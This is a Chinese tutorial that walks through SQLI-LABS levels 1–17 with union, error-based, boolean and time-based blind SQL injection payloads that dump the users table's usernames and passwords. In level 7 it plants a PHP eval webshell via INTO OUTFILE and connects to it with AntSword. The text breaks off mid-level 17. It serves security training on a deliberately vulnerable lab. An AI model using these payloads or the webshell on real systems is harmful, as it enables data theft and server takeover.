SQL注入之SQLI-LABS靶场通关秘籍

目录

 SQL注入分类:

mysql schema数据库结构学习

less-1

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

2、判断可用列

三、获取数据库信息

1、查看数据库名

2、查看数据库中表名

3、查看users表内字段

 4、爆破users表里的内容

less-2

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

2、判断可用列

三、获取数据库信息

1、查看数据库名

2、查看数据库中表名

3、查看users表内字段

4、爆破users表里的内容

less-3

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

2、判断可用列

三、获取数据库信息

1、查看数据库名

2、查看数据库中表名

3、查看users表内字段

4、爆破users表里的内容

less-4

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

2、判断可用列

三、获取数据库信息

1、查看数据库名

2、查看数据库中表名

3、查看users表内字段

4、爆破users表里的内容

less-5

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

2、判断可用列

三、获取数据库信息

1、确定数据库名

less-6

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

2、判断可用列

三、获取数据库信息

1、查看数据库名

less-7

         开启文件读取权限

旧版

新版

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

写入文件

连接终端

less-8

一、判断注入类型

1、注入正常参数

2、判断注入类型

3、注释

二、判断基本信息

1、判断表的列数

三、获取数据库信息

1、确定数据库名

less-9

一、判断注入类型

二、判断基本信息

1、确定数据库名

less-10

一、判断注入类型

1、注入正常参数

2、判断注入类型

二、获取数据库信息

1、确定数据库名

less-11

一、判断注入类型

1、注入正常参数

2、判断注入类型

二、获取数据库信息

1、判断表有几列

2、获取数据库名

3、爆表名

4、爆字段名

5、爆出 users 表中的用户名和密码

less-12

一、判断注入类型

二、获取数据库信息

1、判断表有几列

2、爆数据库名

3、爆表明

4、爆字段名

5、获取目标信息

less-13

一、判断注入类型

二、获取数据库信息

1、判断表有几列

2、获取数据库名字长度

3、获取数据库名

less-14

一、判断注入类型

二、获取数据库信息

1、判断表有几列:

2、判断数据库名长度

less-15

一、判断注入类型

二、获取数据库信息

1、判断表有几列

2、获取数据库名的长度

3、获取数据库名

less-16

一、判断注入类型

二、获取数据库信息

less-17

一、判断注入类型

二、获取数据库信息

updatexml() 报错注入

concat()

1、爆出数据库的版本号

2、爆表名

3、爆字段名

4、获取目标信息

less-18

一、判断注入类型

二、获取数据库信息

1、爆数据库名

2、爆表名

3、爆字段

4、获取目标信息

less-19

一、判断注入类型

二、获取数据库信息

1、爆数据库名

2、爆表名

3、爆字段

4、获取目标信息

less-20

一、判断注入类型

二、获取数据库信息

1、判断表的列数

2、爆数据库名字

3、爆表名

4、爆字段名

5、获取目标信息

less-21

一、判断注入类型


 SQL注入分类:

  • 回显正常---> 联合查询  union select
  • 回显报错---> Duplicate entry()
                         extractvalue()
                    updatexml()
  • 盲注        --->布尔型盲注
                         基于时间的盲注sleep()

mysql schema数据库结构学习

       1、schema表               

                   schema_name字段为mysql所有数据库的名字

       2、tables表              

                    table_schmate字段为所有数据库的名字

                    table_name字段为所有表的名字

        3、columns表

                    table_schmate字段为所有数据库的名字

                    table_name字段为所有表的名字

                    column_name字段为所有表列的名字

less-1

———— GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)

一、判断注入类型

1、注入正常参数

首先先注入正常的参数,网页回显正常的信息

?id=1

页面回显正常的信息

2、判断注入类型

输入?id=1',查看页面显示内容

?id=1'

发现页面报错,说明此注入类型为字符型。当你在语句中输入'(单引号)时,原语句中的单引号就不是成对存在,所以会体现为报错。

3、注释

将后边原本的语句注释,就可以输入自己想输入的语句了

?id=1'--+

后端的 SQL 语句后面的内容注释后,网页回显了正确的信息。则说明注入的单引号起到了一个闭合的作用,这是一个字符型注入。

二、判断基本信息

1、判断表的列数

判断表有几列,使用 ORDER BY 子句进行判断

当输入表有4列时,页面报错 ,说明表中一共有三列

?id=1' order by 4--+

在输入3列,页面显示正确

?id=1' order by 3--+

说明表一共有3列

2、判断可用列

使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列 和 第 3 列是可以使用的。      (此页面2,3是占位的)

?id=99' UNION SELECT 1,2,3--+

 输入?id=1'的话,页面会返回表中第一行的内容,所以要输入一个表中没有的行。

三、获取数据库信息

1、查看数据库名

将2或3改成database()

?id=99' union select 1,database(),3--+

得到数据库名为security

2、查看数据库中表名

查看数据库中有几个表,并显示表名

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

 由此可以得到数据中所含有的所有表的表名

3、查看users表内字段

?id=99' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

 4、爆破users表里的内容

使在页面显示用户名和密码

?id=99' union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

 在界面上可以得到users表中所有的用户名和密码了。

less-2

————GET-Error based-Intiger based (基于错误的 GET 整型注入)

、判断注入类型

1、注入正常参数

首先先注入正常的参数,网页回显正常的信息

?id=1

2、判断注入类型

输入?id=1',发现网页回显 MySQL 报错,说明存在注入漏洞

输入?id=1,发现页面正确

3、注释

在?id=1'后加入注释,还是报错,说明不是字符型

?id=1'--+

 加个注释,将后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。即我们注入的单引号没有起到闭合的作用。得出结论:这是一个数字型注入。

 数字型注入和字符型注入的区别在于我们不需要用单引号去闭合,其他操作基本相同

二、判断基本信息

1、判断表的列数

验证他有几列    (还可以用二分法)

?id=1 order by 4 --+    (先看是不是有4列)    

 然后再验证是否为3列,页面回显正确

?id=1 order by 3--+

2、判断可用列

使第99行可以回显,占位显示1,2,3

?id=99 union select 1,2,3--+

三、获取数据库信息

1、查看数据库名

将2或3改成database(),查看数据库名

?id=99 union select 1,database(),3--+

2、查看数据库中表名

?id=99 union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

3、查看users表内字段

?id=99 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

4、爆破users表里的内容

接下来我们爆出 users 表中的信息,页面会显示所有用户名和密码

?id=99 union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

 可以查看到所有信息,爆破成功!

less-3

———GET-Error based-Single quotes with twist string (基于错误的 GET 单引号变形字符型注入)

一、判断注入类型

1、注入正常参数

首先先注入正常的参数,网页回显正常的信息

?id=1

2、判断注入类型

输入?id=1',尝试单引号闭合,网页回显 MySQL 语句报错,说明存在注入漏洞

3、注释

通过注释判断是 )还是 ')

发现?id=1)--+ 报错

而?id=1')--+ 页面回显正确

 所以此界面注入类型为 ')

二、判断基本信息

1、判断表的列数

判断表有几列

?id=1') ORDER BY 3--+ 有回显

?id=1') ORDER BY 4--+ 无回显

即:有 3 列

2、判断可用列

?id=99') UNION SELECT 1,2,3--+

三、获取数据库信息

1、查看数据库名

?id=99') UNION SELECT 1,database(),3 --+

2、查看数据库中表名

?id=99') union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

3、查看users表内字段

?id=-99') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

4、爆破users表里的内容

?id=-99') union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

爆破成功!

less-4

————GET-Error based-Double Quotes-String(基于错误的 GET 双引号字符型注入)

一、判断注入类型

1、注入正常参数

首先先注入正常的参数,网页回显正常的信息

?id=1

2、判断注入类型

?id=1'            尝试输入单引号,网页回显正确的信息(没有发生 MySQL 语句报错)

尝试注入双引号闭合,MySQL 语句报错,说明存在注入漏洞,并且闭合符号是双引号

?id=1")

3、注释

?id=1")--+

输入--+之后则没有报错了 ,说明注入类型是 ")

二、判断基本信息

1、判断表的列数

?id=1') ORDER BY 3--+ 有回显

?id=1') ORDER BY 4--+ 无回显

即:有 3 列

2、判断可用列

?id=99") UNION SELECT 1,2,3--+

三、获取数据库信息

1、查看数据库名

?id=99") UNION SELECT 1,database(),3 --+

2、查看数据库中表名

?id=99") union select 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+

3、查看users表内字段

?id=99") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

4、爆破users表里的内容

?id=99") union select 1,group_concat(concat_ws(';',username,password)),3 from security.users--+

可以查看到所有信息,爆破成功!

less-5

————GET-Double Injection-Single Quotes-String(双注入 GET 单引号字符型注入)

一、判断注入类型

1、注入正常参数

先输入正确的参数,页面返回“You are in ... ”,但是没有其他信息

?id=1

2、判断注入类型

接下来注入个查不到的参数,页面没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息。由于网页仅返回或不存在,因为我们可以使用 bool 注入(布尔注入)

?id=9999

判断是否有 SQL 注入漏洞,注入个单引号进行闭合,网页返回报错信息。

这说明网页存在 SQL 注入漏洞,并且用单引号字符型注入

?id=1'

3、注释

?id=1'--+

二、判断基本信息

1、判断表的列数

?id=1' ORDER BY 3--+ 页面出现“You are in ...”

?id=1' ORDER BY 4--+ 页面没有出现“You are in ...”,说明一共有 3 列

2、判断可用列

因为页面只会显示you are in....所以前几关的union select 1,2,3不适用

三、获取数据库信息

1、确定数据库名

?id=1' AND LENGTH((SELECT database()))>5--+          测试数据库名称有多少个字母

说明数据库长度 > 5,再采用二分法测试:

测试 > 10,发现没有“You are in ...”,说明数据库长度 <= 10

测试 > 8,发现没有“You are in ...”,说明数据库长度 <= 8

测试 = 8,出现“You are in ...”,说明数据库长度为 8

 ?id=1' and length((select database()))=8--+

获取数据库名,此处不适用 UNION 联合查询(因为当 id 为一个查不到的参数时,页面无显示。即因为是布尔注入)。我们使用 left() 函数,left(string, num) 函数返回字符串 string 最左边的 num 个字符串。

第一种方法:(一个一个试)

我们首先使用 left() 函数判断数据库名的第一位是否是字符 a。注入之后无回显,说明数据库名第一位不是 a

?id=1' AND LEFT((SELECT database()), 1)='a' --+    输入a后无回显

测试数据库名的第一个字是否为s

?id=1' AND LEFT((SELECT database()), 1)='s' --+   输入s有回显

第二种方法:

打开Burp Suite

输入        ?id=1' AND LEFT((SELECT database()), 1)='a' --+

我们使用抓包工具 Burp Suite 拦截抓取,并发送到 Intruder 模块。

 选择字符 a 的部分为 payload 有效载荷

添加有效载荷选项,大小写字母、数字和下划线      -----开始攻击

发起攻击,查看响应结果。设置按长度升序排序。

得到长度与其他差距较大的是字母 s

以此方法,最终得出数据库名字为“security”

?id=1' AND LEFT((SELECT database()), 8)='security' --+

继续使用此方法爆破表名、字段名及其他信息

less-6

————GET-Double Injection-Double Quotes-String(双注入 GET 双引号字符型注入)

一、判断注入类型

1、注入正常参数

首先注入正确的参数,页面返回“You are in ...”,但是没有其他信息

?id=1

2、判断注入类型

注入一个查不到的参数,网页没有任何反应,说明这个网页传入参数是用于判断 id 是否存在,如果存在则返回信息。由于网页仅返回存在或不存在,因此我们可以使用 bool 注入(布尔注入)

?id=9999

判断是否有 SQL 漏洞,引入单引号进行闭合,网页返回“You are in ...”

?id=1'

注入双引号闭合,网页返回错误,说明网页存在 SQL 注入,并使用双引号字符型注入

?id=1"

3、注释

?id=1"--+

二、判断基本信息

1、判断表的列数

?id=1" ORDER BY 3--+ 页面出现“You are in ...”

?id=1" ORDER BY 4--+ 页面没有出现“You are in ...”,说明一共有 3 列

2、判断可用列

因为页面只会显示you are in....所以前几关的union select 1,2,3不适用

三、获取数据库信息

1、查看数据库名

?id=1" and length((select database()))=8--+     测试数据库名称有多少个字母

说明数据库长度 > 5,再采用二分法测试:

测试 > 10,发现没有“You are in ...”,说明数据库长度 <= 10

测试 > 8,发现没有“You are in ...”,说明数据库长度 <= 8

测试 = 8,出现“You are in ...”,说明数据库长度为 8

与 less-5 类似,将 less-6 的单引号改为双引号。

和less-5一样使用此方法爆破表名、字段名及其他信息

获取数据库名时,我们可以使用上述方法(使用 Brup 抓包爆破),这里还有另一种注入方式。substr() 函数用于截取字符串,substr(string, start, length) 函数是 string 为被截取的字符串,start 为起始位置,length 为截取长度。ASCLL() 函数返回字符的 ASCLL 码值,大致思路是使用 substr() 函数截取数据库名的每个字符,然后判断这个字符的 ASCLL 码值

?id=9999" OR ASCII(SUBSTR((SELECT database()),1,1))>109--+

使用二分法,得出数据库名的第一个字符 ASCLL 码值为 115,即 s

以此为例,得出完成的数据库名,后续内容也同样采用这个方法。

less-7

通过 SQL 注入,写入一句话木马文件

开启文件读取权限

MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看

show variables like '%secure%';

旧版

打开PHP

输入show variables like '%secure%';  点击运行

查询第二行为NULL

 

打开phpStudy文件夹里的MySQL文件夹里的my.ini文件

加入

secure_file_priv="/"

第二行改变为C:\

新版

打开PHP

MySQL 使用 secure-file-priv 参数对文件读写进行限制,当参数值为 null 时无法进行文件导出操作。使用这条命令可以查看

show variables like '%secure%';

通过修改 MySQL 下的 my.ini 配置文件来启用权限,需要把下面这个字符串写入文件中

secure_file_priv="/"

 添加  secure_file_priv="/"语句

然后保存,并重启 MySQL 服务 

net stop/start mysql

检查是否设置成功

 查看数据库存储路径

http://sqil-labs-master:82/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

 利用sql语言创建木马,名为attack,也可以自主创建在目的文件新建php文件

 ?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\phpstudy---1\\WWW\\sqli-labs-master\\Less-7\\text.php"--+

一、判断注入类型

1、注入正常参数

注入个正常的参数,网页返回“You are in.... Use outfile......”

?id=1

2、判断注入类型

注入单引号和单引号加括号,网页回显 SQL 报错

?id=1'
?id=1')

注入单引号加上 2 个括号闭合,网页回显“You are in.... Use outfile......”,说明这是一个单引号和 2 个括号闭合的字符型注入

?id=1'))

3、注释

注释后不报错,说明为此注入类型

?id=1'))--+

写入文件

我们需要先知道网页所在的文件路径,从该题中的无法得到的,我们去 Less-1 题,在那获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点。

http://sqil-labs-master:82/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+

使用 UNION 联合查询来注入参数,使用 into outfile 在网页目录下入一句话木马。注意此处存在转义问题,所有的“\”都要双写

?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["attack"]);?>' into outfile "D:\\Software\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\text.php"--+

输入后,可以在文件夹里看到

连接终端

使用蚁剑连接,url 为我们的 text.php 文件路径

密码为:attack

 双击,可以显示本机的文件资源管理器中的文件目录,证明连接成功

less-8

————GET-Blind-Boolian Based-Single Quotes(布尔型单引号 GET 盲注)

一、判断注入类型

1、注入正常参数

先注入正确的参数,网页返回“You are in ...”,但是没有其他信息

?id=1

然后注入一个查不到的参数,网页没有任何反应。说明向这个网页传入参数是用于判断 id 值是否存在,如果存在则返回信息

?id=9999

2、判断注入类型

判断是否有 SQL 注入漏洞,注入个单引号进行闭合,网页无任何返回

?id=1'

此时还是注入单引号,但是后面注释掉,网页返回“You are in ...”。

这说明网页存在 SQL 注入漏洞,并且是用单引号字符型注入。同时因为 SQL 语句发生错误,因此此处是 bool 盲注漏洞

3、注释

?id=1'--+

二、判断基本信息

1、判断表的列数

获取数据库信息

和 Less-5 不同在于 Less-8 查询发生错误时不会报错,不过基本的操作与 Less-5 相似。

首先判断有几列,使用 ORDER BY 子句进行排序,看一下对几列有效,返回“You are in ...”说明表至少有 3 行

?id=1' ORDER BY 3--+

测试 4 列

?id=1' ORDER BY 4--+

三、获取数据库信息

1、确定数据库名

得出数据库名的长度,网页只会返回“You are in ...”和无回显 2 种情况,我们使用 length() 函数结合回显信息判断数据库长度

?id=1' AND LENGTH((SELECT database()))>5--+

?id=1' AND LENGTH((SELECT database()))=8--+

使用 left() 函数判断数据库名的第一位是否是 a,注入之后无回显,则不是,有回显则是。

?id=1' AND LEFT((SELECT database()), 1)='a' --+

之后都是与前几题差不多

less-9

————GET-Blind-Time based-Single Quotes(基于时间的 GET 单引号盲注)

通过 sleep() 函数注入,观察页面响应时间,从而判断注入的 SQL 语句是否正确

一、判断注入类型

首先注入正确的参数,网页返回“You are in ...”,但是没有其他信息

?id=1

接下来注入个查不到的参数,网页还是返回“You are in ...”

?id=9999

注入个单引号进行闭合,网页还是返回“You are in ...”

?id=1'

再尝试下面三种方式:网页仍然是“You are in ...”

?id=1'--+

?id=1"

?id=1"--+

我们转换思路,MySQL 的 sleep() 函数能够起到休眠的作用。为了方便调试,我们使用 Burp 拦截工具中的重放器

?id=1 and sleep(1)--+ 使用 Bu

rp 工具开启拦截,并注入,发送都重放器,发送并观察时间

打开Burp Suite

点击代理,拦截开启

在靶场网址重新刷新

?id=1 and sleep(1)--+ 

使用 Burp 工具开启拦截,并注入,发送都重放器,发送并观察时间

将参数改为       ?id=1' and sleep(10)--+

 观察时间,在网页浏览器也可以执行,并且明显

明显响应时间变长,这是明显的基于 时间盲注 的字符型 SQL 注入漏洞,我们需要使用 sleep() 函数制造时间差来进行注入。

二、判断基本信息

1、确定数据库名

注入流程与 Less-5 类似,不过这里的判断标准不是回显的信息,而是响应时间。MySQL 的 IF 语句允许根据表达式的某个条件或结果来执行一组 SQL 语句,语法如下,当表达式 expr 为真时返回 value1 的值,否则返回 value2

IF (expr,value1,value2)

此处因为无法回显任何东西,因此 ORDER BY 子句不能使用。我们使用 IF 语句结合 LENGTH() 函数对数据库名长度进行判断,如果猜测正确则令响应时间长一些。猜测数据库名长度小于 10 时响应时间超过,所以数据库名长度小于 10。

?id=1' AND IF(LENGTH(database())<10,sleep(1),1)--+

 测试数据库名第一个字符是否为‘s’

?id=1' and if(left((select database()),1)='s',sleep(10),1)--+

?id=1' AND IF(LENGTH(database())=8,sleep(1),1)--+

可以添加hackbar v2插件,就可以在hackbar上输入语句

最终得到数据库名字为“security”

接下来使用类似的方法,爆出表明、字段名和其他信息

less-10

————GET-Blind-Time based-double quotes(基于时间的双引号盲注)

一、判断注入类型

1、注入正常参数

首先注入正确的参数,网页返回“You are in ...”,但是没有其他信息

?id=1

2、判断注入类型

再依次注入一下参数,网页还是返回“You are in ...”,说明此时网页不会回显任何有价值的信息

?id=9999

?id=1'

?id=1'--+

?id=1"

?id=1"--+

我们使用 Brup 的重发器模块,注入一下 2 种参数,观察响应时间没有异常变化

?id=1 and sleep(1)--+

?id=1' and sleep(1)--+

使用双引号闭合时,明显发现响应时间增加,因此这是基于 时间盲注 的字符型 SQL 注入漏洞

?id=1" and sleep(1)--+

二、获取数据库信息

1、确定数据库名

Less-10 和 Less-9 差不多,只是 Less-10 使用的是双引号进行闭合

?id=1" AND IF(LENGTH(database())<10,sleep(1),1)--+,

响应时间超过 1s,说明数据库名长度 < 10

使用二分法测试,得出数据库长度为 8

?id=1" AND IF(LENGTH(database())=8,sleep(1),1)--+

获取数据库名时,使用 left() 函数进行穷举法效率较低,使用 substr() 函数结合 ASCLL() 函数进行判断可以使用二分法快速缩小范围。

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))>109,sleep(1),1)--+

使用二分法测试,最终得出数据库路的第一个字符的 ASCLL 码值为 115,即 s

?id=1" AND IF(ASCII(SUBSTR((SELECT database()),1,1))=115,sleep(1),1)--+

使用相同方法依次得出剩下的字符的 ASCLL 码值,将所有的结果的字符连接到一起,得到数据库的名字

less-11

————POST-Error Based-Single quotes-String(基于错误的 POST 型单引号字符型注入)

一、判断注入类型

1、注入正常参数

尝试下网页的正确用法,输入一个正确的用户名和密码试试,网页显示登录成功

在“username” 中直接注入单引号,网页返回报错信息,说明存在 SQL 注入 

2、判断注入类型

注入万能密码试试,用户名随便写点东西,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入,网页提示我们注入成功,由于此时使用的时单引号闭合,因此这里是字符型注入。

' or 1=1#  #是注释

二、获取数据库信息

1、判断表有几列

使用 ORDER BY 子句进行排序查看有几列有效。对第二列返回的结果排序,网页返回正常

' or 1=1 order by 2#&password=&submit=submit  查看有几列

' or 1=1 order by 2#  也可以

2、获取数据库名

爆破数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方

' UNION SELECT database(),2#

3、爆表名

使用联合查询在“information_schema.tables”中查询表名,表明来自“security”数据库

' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#

4、爆字段名

使用联合查询在“information_schema.colums”中查询表名,字段名来自“security”数据库中的“users”表

column是列的意思     schema应该是数据库的意思

'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#

5、爆出 users 表中的用户名和密码

'union select 1,group_concat(concat_ws(';',username,password)) from security.users#

'union select 1,group_concat(concat_ws(';',username)) from security.users#

'union select 1,group_concat(concat_ws(';',password)) from security.users#

'union select 1,group_concat(concat_ws(';',username,password)) from security.users#

'union select 1,group_concat(concat_ws(';',username)) from security.users#   只显示用户名

'union select 1,group_concat(concat_ws(';',password)) from security.users#   只显示密码

less-12

————POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)

一、判断注入类型

Username 输入框,输入语句并是单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。网页提示登录失败,并且没有赶回报错信息,说明不是用单引号闭合

注入以下的内容,都显示登录失败,并且没有 SQL 语句回显

' OR 1 = 1#

') OR 1 = 1#
')) OR 1 = 1#

使用双引号进行闭合时,发现 MySQL 语句返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对

" OR 1 = 1#

添加一个括号,使用双引号闭合,此时网页提示我们登录成功。

综上所述,网页存在字符型注入漏洞,并且使用双引号和括号进行闭合

") OR 1 = 1#

二、获取数据库信息

使用 Burp 攻击拦击,并发送到重发器。

Less-12 仅对字符的闭关方式不同与 Less-11,注入方式完全相同

1、判断表有几列

") OR 1 = 1 ORDER BY 2#
") OR 1 = 1 ORDER BY 3#

2、爆数据库名

") UNION SELECT database(),1#

3、爆表明

") UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#

4、爆字段名

") UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'security'#

5、获取目标信息

") UNION SELECT 1,group_concat(concat_ws(":",username,password)) FROM security.users#

less-13

————POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

一、判断注入类型

用户名输入语句并使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。网页提示登录失败,并返回语法错误的提示信息。

' OR 1 = 1#

添加一个括号,单引号闭合,此时网页提示我们登录成功。因此网页存在字符型注入漏洞,并且使用单引号和括号进行闭合,注意到此网页并没有返回任何信息,我们需要使用 Bool 盲注进行注入。

') OR 1 = 1#

二、获取数据库信息

1、判断表有几列

使用 ORDER BY 子句进行排序看下对几列有效。

') OR 1 = 1 ORDER BY 2#,网页返回正常

' OR 1 = 1 ORDER BY 3#,SQL 语句报错

说明是 2 列

2、获取数据库名字长度

使用 length() 函数判断数据库名字长度

') and length((select database()))=8#

或者

'or if(length(database())=8,sleep(10),1)#

3、获取数据库名

使用 left(string, num) 函数返回字符串 String 最左边的 num 个字符。首先使用判断数据库名的第一位是否是字符 a。注入之后返回登录失败,说明数据库名字第一位不是‘a’

') OR LEFT((SELECT database()),1) = 'a'#

 使用 Burp 抓包,使用 intruder 模块爆破。

less-14

————POST-Double Injection-Single quotes-String-twist(POST 单引号变形双注入)

一、判断注入类型

用户名输入语句然后使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容注入。

网页提示登录失败,也没有返回语法错误的提示信息

' OR 1 = 1#

注释以下内容,统统都显示登录失败且无回显

') OR 1 = 1#
')) OR 1 = 1#

使用双引号闭合,此时网页提示我们登录成功。因此网页存在双引号进行闭合的字符型注入漏洞,此时网页也没有返回任何信息,我们需要使用 bool 盲注进行注入。

" OR 1 = 1#

二、获取数据库信息

1、判断表有几列:

" OR 1 = 1 ORDER BY 2#,页面返回正常

" OR 1 = 1 ORDER BY 3#,网页返回 SQL 语法报错

所以,数据库有 2 列

2、判断数据库名长度

使用 length()函数结合回显信息得出数据库名字长度为 8

" OR LENGTH((SELECT database())) = 8#

使用 substr() 截取数据库名字的每个字符,判断其 ASCLL 值来判断是否正确

" OR ASCII(SUBSTR((SELECT database()),1,1))>100#

最后得出数据库的名字为“security”

继续使用相同的方法继续爆出表明、字段名和其他信息

less-15

————POST-Blind-Boolian/time Based-Single quotes(基于 bool 型/时间延迟单引号 POST 型盲注)

一、判断注入类型

用户名输入语句,使用单引号闭合,使用 OR 运算符构造恒真条件,使用“#”注释掉后面的内容。

网页提示登录失败,并且没有返回任何信息

' OR 1 = 1#

尝试使用括号制造 sql 语句报错信息,但是网页仍然没有回显。说明此处只有通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以

') OR 1 = 1#

使用 Burp 抓包

二、获取数据库信息

我们使用 bool 盲注

1、判断表有几列

') OR 1 = 1 ORDER BY 2#,登录成功,无 SQL 报错

' OR 1 = 1 ORDER BY 3#,登录失败,有 SQL 报错

所以,使用单引号加括号闭合,并且有 2 列

2、获取数据库名的长度

') OR LENGTH((SELECT database())) = 8#

3、获取数据库名

') OR ASCII(SUBSTR((SELECT database()),1,1))=115#

' or 1=1#          成功,说明存在注入点

' or 1=3#           错误但不回显,说明存在盲注

' or if(length (database())=8,sleep(10),1)#       成功,时间太长会报错404,是正常现象

less-16

————POST-Blind-Boolian/Time Based-Double quotes (基于 bool 型 / 时间延迟的双引号 POST 型盲注)

一、判断注入类型

用户名输入框,单引号闭合,OR 运算符构造恒真条件,使用“#”注释后面的 SQL 语句

网页提示登录失败,未返回任何信息

' OR 1 = 1#

注入以下的内容,页面都是提示登录失败

') OR 1 = 1#
')) OR 1 = 1#
" OR 1 = 1#

注入双引号和括号,页面提示登录成功,此处只能通过登录成功或失败来判断注入情况,使用 bool 盲注或者时间盲注都可以

") OR 1 = 1#

使用 Burp 抓包测试

二、获取数据库信息

我们使用布尔盲注

1、判断表有几列

") OR 1 = 1 ORDER BY 2#,登录成功,无 SQL 报错

") OR 1 = 1 ORDER BY 3#,登录失败,无 SQL 报错

2、得出数据库名字的长度

") OR LENGTH((SELECT database())) = 8#

3、获取数据库名

") OR ASCII(SUBSTR((SELECT database()),1,1))=115#

less-17

本关卡有两个 SQL 语句,其中一个进行了强效的过滤,我们需要发现第二个注入点。同时本关卡可以使用 报错注入 进行攻击

一、判断注入类型

我们先按照网页的功能走一遍,目测是更改密码的页面,输入用户名之后用新密码覆盖旧密码。

我们切换到 Less-11,使用修改后的密码进行登录,网页提示我们登录成功,说明我们正常修改了密码

接下来判断注入类型,使用单引号闭合构造恒真条件,网页回显密码修改失败

a' OR 1 = 1#

测试一下所有的注入,发现这些注入网页都回显修改密码失败

') OR 1 = 1#
')) OR 1 = 1#
" OR 1 = 1#
") OR 1 = 1#
")) OR 1 = 1#

抓包得知网页需要利用 Post 方法起脚的参数格式如下

uname=&passwd=&

接下来对新密码字段进行闭合测试,使用 单引号闭合仍然失败

uname=a&passwd=a'#

使用以下集中注入仍然全部失败:

uname=a&passwd=a')#
uname=a&passwd=a'))#
uname=a&passwd=a"#
uname=a&passwd=a")#
uname=a&passwd=a"))#

我们猜测可能是因为用户“a”不存在的原因,我们输入一个正确的用户“admin”

uname=admin&passwd=a'

网页回显成功,并且报了一个 SQL 语句错误,说明 passwd 使用单引号进行闭合。同时我们可以推测这个关卡有两次查询,第一次查询 uname,判断用户是否存在。第二次查询是根据 uname 来修改 password,并且这个查询存在注入点

所以password是注入点

二、获取数据库信息

updatexml() 报错注入

我们将使用 updatexml() 报错注入,该函数用于改变 XML 文档中符合条件的节点的值。函数原型为:

UPDATEXML (XML_document, XPath_string, new_value);

参数

说明

XML_document

String,XML 文档对象的名称

XPath_string

Xpath 格式的字符串

new_value

String,用于替换查找到的符合条件的数据

其中参数 XPath_string 需要是“/xxx/xxx/...”的格式,进行查询时将会按照这个参数进行操作。注意:如果 XPath_string 是一个错误的路径,但是该路径符合参数规范,就不会报错。反之,参数不符合规范,则会触发报错,我们就是利用这个,通过 updatexml() 函数的报错回显我们需要的信息。

为了更好的理解 updatexml() 报错注入,我们利用 updatexml() 函数获取下当前使用的 MySQL版本

uname=admin&passwd=' OR updatexml(1,concat("!",version()),2)#&submit=Submit

'or updatexml(1,concat("!", version()),2)#   查询数据库的版本号

  • updatexml 函数:这个函数用于更新数据库中的 XML 数据。但是,它可以被用于 SQL 注入攻击。
  • concat("!", version()):这部分代码使用 concat 函数将一个感叹号(!)与 version() 函数的结果拼接在一起。version() 函数返回数据库服务器的版本。
  • or 运算符:or 运算符用来创建逻辑条件。如果 or 语句中的任一部分为真,则整个条件都为真。
  • 1 和 2:这两个数字是 XML 数据的占位符,在这个攻击中并不重要。
  • #:# 符号用于注释掉 SQL 语句的其余部分。这可以确保只有 updatexml 函数及其参数被执行。

concat()

1.功能

将多个字符串连接成一个字符串

2.语法

CONCAT(str1,str2,…)

3.使用方法

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

1、爆出数据库的版本号

' OR updatexml(1,concat("!",version()),2)#

123456' and updatexml(1,concat('~',(select version())),1);#

2、爆表名

XPath_string 参数可以使用一个SELECT 查询结果,使用 group_concat() 函数聚合

爆出数据库有哪些表

'or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security' )),2)#

3、爆字段名

爆出users表里有什么内容

